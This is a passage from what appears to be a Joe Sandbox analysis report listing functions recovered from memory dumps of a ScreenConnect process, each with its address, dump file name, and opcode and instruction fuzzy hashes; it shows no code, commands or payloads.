Instruction Fuzzy Hash: 4A111FB5C002198FCB20CF9AD444BEEFBF4EB48320F10842AD458A7240D378A945CFA1

Function 04FEE4D0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34569337f3280932f2ca2344c83d8340a5939cfdeb00b6cbd8d175c7fee14573
Instruction ID: 28923c39f42910efb6948e5046f915e0c35985f32bf560fd89d37b51503931f2
Opcode Fuzzy Hash: 34569337f3280932f2ca2344c83d8340a5939cfdeb00b6cbd8d175c7fee14573
Instruction Fuzzy Hash: 40114FB5C002098FCB10CFAAD4407EEBBF4FB48324F10842AC568B3240C738A945CFA1

Function 04FE1869 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb8e1685bcc00ec9ad4b84a54c191cfdf284bef2362c8a6454e3004e56fae5fe
Instruction ID: 12989e0e112d09f25eae7be99c64a360ea19613221cd83ad28e4382808b09bf9
Opcode Fuzzy Hash: fb8e1685bcc00ec9ad4b84a54c191cfdf284bef2362c8a6454e3004e56fae5fe
Instruction Fuzzy Hash: 2211D7357042009FC754CB69D990966BBE6EFDD62432985AAE49ACB361CA32EC03CB50

Function 04FE4340 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf091f04bc3f64fb613a012545392c2ab17e4a84afffde29f76a20675892d04
Instruction ID: 921daf22267acecd7fe5ae0c7ebb70b3f55f2b2305009d2deb312383ab78447b
Opcode Fuzzy Hash: 4bf091f04bc3f64fb613a012545392c2ab17e4a84afffde29f76a20675892d04
Instruction Fuzzy Hash: 1B017C75A10205AFA714CF6ACC44D7BBBFEEB8A251705856EA845E7350D630FD028BA0

Function 04FEE581 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124e9c9acadd7422ae6c180f8ba950ab9d0df39b2d02ab8432d847d60e3def19
Instruction ID: 80414cc244a43394c1fb5a991cc8b4760947c1db1c2c2a611d1852d8d9676572
Opcode Fuzzy Hash: 124e9c9acadd7422ae6c180f8ba950ab9d0df39b2d02ab8432d847d60e3def19
Instruction Fuzzy Hash: 2101F2723443011FE301AB6AAC444ABFB95EED1264300897ED309DF221EE22E80AC7E0

Function 04FE18E1 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a936349ff12f0d598d319129ffc1235b030e57ef8177ac2229f32b6ad407161
Instruction ID: 5130265172a0b9204d4a17eb5aa5d3c27b59806c51a602a5b25fc0b45f838e76
Opcode Fuzzy Hash: 1a936349ff12f0d598d319129ffc1235b030e57ef8177ac2229f32b6ad407161
Instruction Fuzzy Hash: 1D118235A0028A8FCB10DF78DA515EAFFF5FF843047148969D999A3255E7307A06CBD0

Function 04FE4350 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eafff5f0bca4a74d27969a2b9bd8de9d1ff465475adba00622a1a4380a69c464
Instruction ID: c2fb89b6d0651f4b3f8dadce87adfc758033e1ce8a0c94f57ae0dd58f5fbadea
Opcode Fuzzy Hash: eafff5f0bca4a74d27969a2b9bd8de9d1ff465475adba00622a1a4380a69c464
Instruction Fuzzy Hash: 67014B75B101099FAB04CF6ADC8487BF7FEEBC8251714852EE906E7200D630ED028AA0

Function 04FE2080 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d33cecfeda7c05acc54289eaa29cc55e03b641e2c92b9d86b9a2120375df46c
Instruction ID: bbf4860239dca6a27de22f6d7ad3af00752caa866af835ac6b5f05a099ff1447
Opcode Fuzzy Hash: 5d33cecfeda7c05acc54289eaa29cc55e03b641e2c92b9d86b9a2120375df46c
Instruction Fuzzy Hash: 58112971E0061A9FCB91DFB9D8445AEBBF4FF8C310B10866AD55AE3205EB349946CB90

Function 015FD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2972985142.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_15fd000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed7b1fcd2f647eb274a676d91f3e9512c5d9a8e355ddcc084f21d96b401bc211
Instruction ID: a1ddf498791713a4c27b74612726311ec7ebc46186682a21c41f20c174949d12
Opcode Fuzzy Hash: ed7b1fcd2f647eb274a676d91f3e9512c5d9a8e355ddcc084f21d96b401bc211
Instruction Fuzzy Hash: 4B01FC31004300A9E7104E59C98476BBFECFF41364F08C92DEE080F186D2799441C6B1

Function 015FD006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2972985142.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_15fd000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd3a0b9579e13115305abf7f494a623d8e80b9ee1be8db05feceb80b9b81ff1
Instruction ID: d90d11fe0b4d390db7f2c125a50b5cc0582856be66982836de0179082a214fae
Opcode Fuzzy Hash: 9cd3a0b9579e13115305abf7f494a623d8e80b9ee1be8db05feceb80b9b81ff1
Instruction Fuzzy Hash: 8601407100E3C09FD7128B298894756BFB8EF53224F19C4DBD9888F1A3D2695849C772

Function 04FE1878 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453179b4242a4e5f3e9a6dfb5c7f8b9901ace835f6c1b34ac8eb29121d891781
Instruction ID: 3c1a2c0f4e22258a49ce0002012f6463f5f917db5689da0a484ab810c09ff325
Opcode Fuzzy Hash: 453179b4242a4e5f3e9a6dfb5c7f8b9901ace835f6c1b34ac8eb29121d891781
Instruction Fuzzy Hash: 7601D6357002049F8754CF5AD980D66F7EAEFDD224325856AE959CB361DA32EC02CB50

Function 04FEEB48 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376aa15ea05f65238831c262b1ce5954af3c81a78b05eb6feebb290f4036a8fc
Instruction ID: b5625c2a4c6cb58e9ec9a0b4d23e0e2ce6df37ccd230e3bebe87e63c3600052e
Opcode Fuzzy Hash: 376aa15ea05f65238831c262b1ce5954af3c81a78b05eb6feebb290f4036a8fc
Instruction Fuzzy Hash: 0A01DB326041096FDB06DF99EC509ABBBABFF85255704442BFA05C7261DA32E816C790

Function 04FE18F0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20047329a73bbd233437bd8314cc57168792dc9f86f24ad1f6367c4ff1ce1d5
Instruction ID: 654b9cb6b5e0897aabceee29465dbbe65a8a9531eb78e619403b93a79b43796c
Opcode Fuzzy Hash: f20047329a73bbd233437bd8314cc57168792dc9f86f24ad1f6367c4ff1ce1d5
Instruction Fuzzy Hash: D7012D35A0025B9FCB10DF78CA914AEFBB5FF883147108929D559A3258E7317A06CB90

Function 04FE2090 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8e10de7a1c7a1dd672a00910553fafcd9d47dbe1bd29e9956ac7447254a7ab
Instruction ID: 6980ae161b2a65876fc6165654c344e6bab5bd3ca1cf7844f19a3d8dcff65892
Opcode Fuzzy Hash: 5f8e10de7a1c7a1dd672a00910553fafcd9d47dbe1bd29e9956ac7447254a7ab
Instruction Fuzzy Hash: 2F012C71E0021A8FCF50DFA9D8445AEBBF4FF88210B10866AD51DE3301EB34AA15CB90

Function 04FE5117 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e979207c44b4dcf91de0eb14680d82c4e921fd8b98eb2ddd7d34fda6df7cba
Instruction ID: 9ed44244fa8b2010e46659eaf5cb09e3b833302b7fcd4caf23a2334176395068
Opcode Fuzzy Hash: d2e979207c44b4dcf91de0eb14680d82c4e921fd8b98eb2ddd7d34fda6df7cba
Instruction Fuzzy Hash: 33113D30A41219DFCB64CF96C898AADB7B2FF4531AF505194E4166B2B1C774AD86CF80

Function 04FE510B Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e979207c44b4dcf91de0eb14680d82c4e921fd8b98eb2ddd7d34fda6df7cba
Instruction ID: 9ed44244fa8b2010e46659eaf5cb09e3b833302b7fcd4caf23a2334176395068
Opcode Fuzzy Hash: d2e979207c44b4dcf91de0eb14680d82c4e921fd8b98eb2ddd7d34fda6df7cba
Instruction Fuzzy Hash: 33113D30A41219DFCB64CF96C898AADB7B2FF4531AF505194E4166B2B1C774AD86CF80

Function 04FEFAB0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83093d04f268e273714e385b3b6979e023aa5e1508449aba24f31f5f316a6f5
Instruction ID: 4c6ca7cc74ef2fb46b39fb1c17479015d41776c4d38375dd3a79655021f41f10
Opcode Fuzzy Hash: c83093d04f268e273714e385b3b6979e023aa5e1508449aba24f31f5f316a6f5
Instruction Fuzzy Hash: 5C01C030F802028FDB94DB65D8A067E7BB2FF84700F108829C616EB350DF70A806CB91

Function 04FEFB70 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 165ba0a29ad55821c4f5d6571e1a0cb16b167bbb544c90d4a4be6584f4348009
Instruction ID: fadc4d9a4e9818dd32e020077a14ad7dd3a81c0c3feec2d4ec33fc21aa416384
Opcode Fuzzy Hash: 165ba0a29ad55821c4f5d6571e1a0cb16b167bbb544c90d4a4be6584f4348009
Instruction Fuzzy Hash: CF0128312083815FC706CB64DC9089FBFF5EF8626070585BBE418CB262DA35DD06C761

Function 04FEA0E8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73190afbd532e34fcb6eb46f63d7f4f995998370dc6eceda94178ea96826f490
Instruction ID: 3e5451700c128c9768304865458cfba7f13ddc8b73ad451b834259bfe42e0b7c
Opcode Fuzzy Hash: 73190afbd532e34fcb6eb46f63d7f4f995998370dc6eceda94178ea96826f490
Instruction Fuzzy Hash: ABF0F431F001186BDB24E63AEC146EEB7E5EBD8361F004079DA15E7240DE39AD4ACBD0

Function 04FEBDA7 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36c386b877dc8f5dfd6f185d1c8d7f5ff905e55a4556831d44115d1383f1aee
Instruction ID: 966340225dd83e0e0749974e1de716e8c217f4f8c3ba0d54ce5a27cf14ca1d94
Opcode Fuzzy Hash: e36c386b877dc8f5dfd6f185d1c8d7f5ff905e55a4556831d44115d1383f1aee
Instruction Fuzzy Hash: 03F0AF71E041059F8B10DE7ED8009BBB7F5EF882217008635E029D3290E330A802CB90

Function 04FEFD50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae34559612d911116a27797a7596a04de6f50a9bf613933a1deabf007a76188
Instruction ID: fc0457306843023cde1143a326ef2ea6e60184f4e670b6fe4da4d27b08561864
Opcode Fuzzy Hash: fae34559612d911116a27797a7596a04de6f50a9bf613933a1deabf007a76188
Instruction Fuzzy Hash: 1AF0F6723042005FC710DBA8E880D4ABBE9EF893B0705852AE419CB3A4E771DD06C790

Function 04FEFD60 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6978bfa4d507fcad0362bde6b2105c66d19b139ff262843955a3c17e704e191c
Instruction ID: e88f90f6bbf102807df527429da63c730ca9349ca52d09b14928dcebef7ca0cd
Opcode Fuzzy Hash: 6978bfa4d507fcad0362bde6b2105c66d19b139ff262843955a3c17e704e191c
Instruction Fuzzy Hash: 88F05E313002055F8710DAADE884D5ABBE9EF893B4310862AE919CB3A4DB71ED45C7A4

Function 04FEBA08 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e82b31c8171c63736f472ce24e15dab397682075551d526f609ffe284d0fff0
Instruction ID: 0810aaef03271c208c2411f62d895d4f643378f2c0c3d7bf1b9afa999bc73a1a
Opcode Fuzzy Hash: 4e82b31c8171c63736f472ce24e15dab397682075551d526f609ffe284d0fff0
Instruction Fuzzy Hash: E8E02B327003149FDB04DBA9A8045AE7BAAEB80670B10806AD909D7380EE319D4083C0

Function 04FEB9F6 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c32704c54c77b70c25bd8da246b38a847e6082c637adf86f69270a2e5055d1
Instruction ID: 620fb0e143ef65f43bd02185d7bd5f3c6fbe1be57cbefe1613e54896b28936bc
Opcode Fuzzy Hash: 31c32704c54c77b70c25bd8da246b38a847e6082c637adf86f69270a2e5055d1
Instruction Fuzzy Hash: A0F02B32B093259FDB018BA85C501AE3FB2EB80250F1440AAC804DB391EA348D0683D0

Function 04FE2530 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db16e81cb14fd61a7f21ce054d536628ebe4f95ef98320b17c2b9bd79d4c808
Instruction ID: b99007942c66bbb308cbc304b3e10541f8092081b1d9f596d2f0aa7de31f929d
Opcode Fuzzy Hash: 5db16e81cb14fd61a7f21ce054d536628ebe4f95ef98320b17c2b9bd79d4c808
Instruction Fuzzy Hash: F9F03A31E00219CBDB249BA5C9286EEBBF5AB8C302F114579D402B7394DB7A5D01CBA1

Function 04FE7DCB Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b66f4f25e46c69a79932bbf9c415d8439d6f38b2124352bef8f247de406cac4
Instruction ID: 7d84cb3eef456fb93a3558908fa53bb17abf2a7dd1a9850f9242f851a61eb73f
Opcode Fuzzy Hash: 7b66f4f25e46c69a79932bbf9c415d8439d6f38b2124352bef8f247de406cac4
Instruction Fuzzy Hash: 11F01775E10219CFCB11DFA8DC446DCBBB1FF8A311F1042A6E009A7220EB716A95CF51

Function 04FE9C79 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca3ba296a1653a7171cc892fa3912fcef2f81b693ab3fdb8cd36d441b18c7d3d
Instruction ID: 183301793fdc0894b71b21376257741d07282102732bd69bed0838bebfef1cb5
Opcode Fuzzy Hash: ca3ba296a1653a7171cc892fa3912fcef2f81b693ab3fdb8cd36d441b18c7d3d
Instruction Fuzzy Hash: 60E0D8B3B0415607C3242ABF6884A757BD4D7C92B5F094671D56DC76C1F96658C281A0

Function 04FE30F8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 200fe5c921ee4131e502918fde95774fbf77d75e5bf7cc18f4bae50bca906834
Instruction ID: 3acbf44abb0d0f1f6a134ea340b876b33d49fd31fbb883eeb1574af5c4d3ccac
Opcode Fuzzy Hash: 200fe5c921ee4131e502918fde95774fbf77d75e5bf7cc18f4bae50bca906834
Instruction Fuzzy Hash: 89F030356047509FD311CB68D854F617FB5AB4A314F0604D9E555CF6A2C666FC01CB51

Function 04FEF209 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dc561c707c190c4b63ff431690eead0ca37538311dda5ec8a49f9ffa7d45f74
Instruction ID: 5d2fc90a93b959bd875f10774aba116ca048798271e191d8429eea58c7f6b8ac
Opcode Fuzzy Hash: 4dc561c707c190c4b63ff431690eead0ca37538311dda5ec8a49f9ffa7d45f74
Instruction Fuzzy Hash: ECE09239E04204BBE3064754F9145757F6ADB8A251B048096EA45CB293DF329C23D798

Function 04FE2810 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21922a8b8e67476dd9f959b50ec3211ae03b0396e8eeae16b2a815f3961c07fd
Instruction ID: 402cf7bf45238a2110a715e875629cfaa6978bfeb7e26f8c499a9d1fc17131f3
Opcode Fuzzy Hash: 21922a8b8e67476dd9f959b50ec3211ae03b0396e8eeae16b2a815f3961c07fd
Instruction Fuzzy Hash: 0CE08670A052416FD71197AD958086437E99F8911534745D7E441DF365D524EC43C791

Function 04FEBA68 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce4ee9e28032f6d1a1f86f0bd39e75cc499bc9bde5e62e059fac0e06c7336185
Instruction ID: feb1b470be2e6cf46eac2f56e444070000e71e47126cbfecc0a8e4384b7b8bbe
Opcode Fuzzy Hash: ce4ee9e28032f6d1a1f86f0bd39e75cc499bc9bde5e62e059fac0e06c7336185
Instruction Fuzzy Hash: BBD0123264121757EB249EAEE4007A5B799DF80352F14893AEC8CC6568D5766C819781

Function 04FEBA57 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e39db93319656caa7be1f0ec871807436528122cc4203fba0819e191044e60ec
Instruction ID: 582903d54ba93eea2b8e4229203a7e8311e5e3c67f7152717d822521973f5959
Opcode Fuzzy Hash: e39db93319656caa7be1f0ec871807436528122cc4203fba0819e191044e60ec
Instruction Fuzzy Hash: EAE0CD725492438FD7215A59E4543E43B61DF52302F28057AD888CB17AD1652C43D751

Function 04FE8C10 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FEBE4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be124e8c98c5105d256eea98af30550897de4e589f624d1c7d56898a77e93f4f
Instruction ID: cd57d913ee2f43c704510e3a7e1dadc9d55dcca4f1778bd66b623cf9b9d4482a
Opcode Fuzzy Hash: be124e8c98c5105d256eea98af30550897de4e589f624d1c7d56898a77e93f4f
Instruction Fuzzy Hash: D6E07572501209BFCB02DFA4DD0489ABFBAEB09250B1080A6FD4596221D7369E61EB50

Function 04FE8FFD Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FE8FF1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FE88C1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FE8B18 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
